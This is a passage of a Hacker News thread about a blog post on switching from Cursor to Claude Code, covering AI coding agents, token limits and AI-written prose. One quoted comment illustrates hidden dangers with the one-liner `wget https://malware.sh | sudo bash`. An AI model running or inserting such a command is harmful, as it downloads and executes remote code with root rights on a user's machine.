Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

I was a top 0.01% Cursor user, then switched to Claude Code 2.0

blog.silennai.com

Post reply on HN
Print view View original

221–230 of 236 posts

Re: I was a top 0.01% Cursor user, then switched to Claude Code 2.0

#221

Post by SilenN »

worksonmine wrote: post #198
SilenN wrote: post #100

Earlier quoted context omitted.

Agree. And with the comments in the thread. I'll caveat my statement, with AI ready repos . Meaning those with good documentation, good comments (ex. avoiding Chestertons fence), comprehensive interface tests, Sentry, CI/CD, etc. Established repos are harder because a) the marginal cost of something going wrong is much higher b) there's more dependencies c) this makes it harder to 'comprehensively' ensure the AI didn…

> Being able to quickly create a mental map of code at the speed of changes I get the feeling you're intentionally being a parody with that line. > and ensuring everything works (verifiability) are now the most valuable skills. Something might look like it works, and pass all the tests, but it could still be running `wget https://malware.sh | sudo bash`. Without knowing that it's there how will your tests catch it? M…

I think you read my comment, but you didn't really READ it.

Re: I was a top 0.01% Cursor user, then switched to Claude Code 2.0

#222

Post by SilenN »

stavros wrote: post #176
SilenN wrote: post #169

Earlier quoted context omitted.

That section doesn't include a lick of AI writing. One tell (maybe?) is that I switch from past tense to present tense mid sentence. Either a) I sound like an LLM when I'm writing articles (possible) or b) turing test AGI something something. Lists point is fair, I did use Claude for formatting. Where did it off put you here?

There isn't a specific place, it's the general aesthetic. Maybe you do sound like an LLM :P I guess it's not unlikely to pick up some mannerisms from them when everyone is using them. I guess I don't really mind the use of an LLM or not, it's more the style that sounds very samey with everything else. Whether it's an LLM or not is not very relevant, I guess.

Good point. I'll consciously be trying to write more "out of distribution" now.

Re: I was a top 0.01% Cursor user, then switched to Claude Code 2.0

#223

Post by SilenN »

lysace wrote: post #218
arowthway wrote: post #189

Influenced by many comments on this site, I recently switched from $10 Github Copilot to $20 Claude Code and so far haven't seen any benefits. Maybe it's because I don't know how to 'close the agentic loop' in this project. I thought it being more agentic meant I can just tell it to research a subsystem on its own and plan the changes I want, but that caused it to spawn 3 subagents and consume the entire 4-hour token…

The $100 Claude plan is the minimum, I feel. Otherwise you run out of tokens way too often.

This is probably true and not emphasized enough. Many are making their value judgements with token limits (which is fair, it is expensive).

Re: I was a top 0.01% Cursor user, then switched to Claude Code 2.0

#224

Post by SilenN »

foobarbecue wrote: post #182

Before I waste any time on this article, is the "0.01%" claim backed up with any evidence?

Yes! I went to a meetup for it as well

- https://x.com/silennai/status/1907540814890521023?s=20

- https://x.com/silennai/status/1918166890322784407?s=20

Re: I was a top 0.01% Cursor user, then switched to Claude Code 2.0

#225

Post by SilenN »

xyzsparetimexyz wrote: post #192
SilenN wrote: post #136

Earlier quoted context omitted.

The mayor doesn't communicate to the deacon or refiner well enough. Sometimes my polecat acts like a witness so I have to restart it...

Jesse what the fuck are you talking about

See what you don't understand is that you need to coordinate the deacon to take the witness out back and talk to the mayor. It's actually quite trivial.

Re: I was a top 0.01% Cursor user, then switched to Claude Code 2.0

#226

Post by SilenN »

philipwhiuk wrote: post #201
SilenN wrote: post #99

Earlier quoted context omitted.

Any suggestions on what to add to answer the question better? I tried to cover this in "Why I switched", "When to use Cursor", and "My current setup" sections.

Sometimes it's what you remove not what you add. I realise this is hard for a token generator to understand.

I disregard any comments like this one as baseless hate unless given an example or something constructive.

Re: I was a top 0.01% Cursor user, then switched to Claude Code 2.0

#227

Post by p1esk »

bandrami wrote: post #180
p1esk wrote: post #83

Earlier quoted context omitted.

99.9% of today’s jobs will be fully automated in 20 years. What do you think will happen to all the unemployed population?

I remember when they were saying that 20 years ago

20 years ago, Kurzweil predicted AGI will be achieved by 2029, and ASI by 2045. We are right on track.

Re: I was a top 0.01% Cursor user, then switched to Claude Code 2.0

#229

Post by TYPE_FASTER »

AIorNot wrote: post #31
madrox wrote: post #20

Earlier quoted context omitted.

It's doesn't work...yet. I agree my stomach churns a little at this sentence. However, paying customers care about reliability and performance. Code review helps that today, but it's only a matter of time before it is more performative than useful in serving those goals at the cost of velocity.

the (multi) billon dollar question is when that will happen, I think, case in point: the OP is a kid in his 20s describing the history of the last 3 years or so of small scale AI Development ( https://www.linkedin.com/in/silen-naihin/details/experience/ ) How does that compare to those of us with 15-50 years of software engineering experience working on giant codebases that have years of domain rules, customers and u…

It's still new, but it's useful now. I'm on the Claude Pro plan personally. I had Claude write a Chrome extension for me personally this morning. It built something working, close to a MVP, then I hit the Claude Pro limit.

I have access to Claude Code at work. I integrated it with IntelliJ and let it rip on a legacy codebase that uses two different programming languages plus one of the smaller SCADA platforms plus hardware logic in a proprietary format used by a vendor tool. It was mostly right, probably 80-90%, had a couple mis-understandings. No documentation, I didn't really give it much help, it just kind of...figured it out.

It will be very helpful for refactoring the codebase in the direction we were planning on going, both from the design and maybe implementation perspectives. It's not going to replace anybody, because the product requires having a deep understanding across many disciplines and other external products, and we need technical people to work outside the team with the larger org.

My thinking changes every week. I think it's a mistake to blindly trust the output of the tool. I think it's a mistake to not at least try incorporating it ASAP, just to try it out and take advantage of the tools that everybody else will be adopting or has adopted.

I'm more curious about the impacts on the web: where is the content going to come from? We've seen the downward StackOverflow trend, will people still ask/answer questions there? If not, how will the LLMs learn? I think the adoption of LLMs will eventually drive the adoption of digital IDs. It will just take time.

Post reply on HN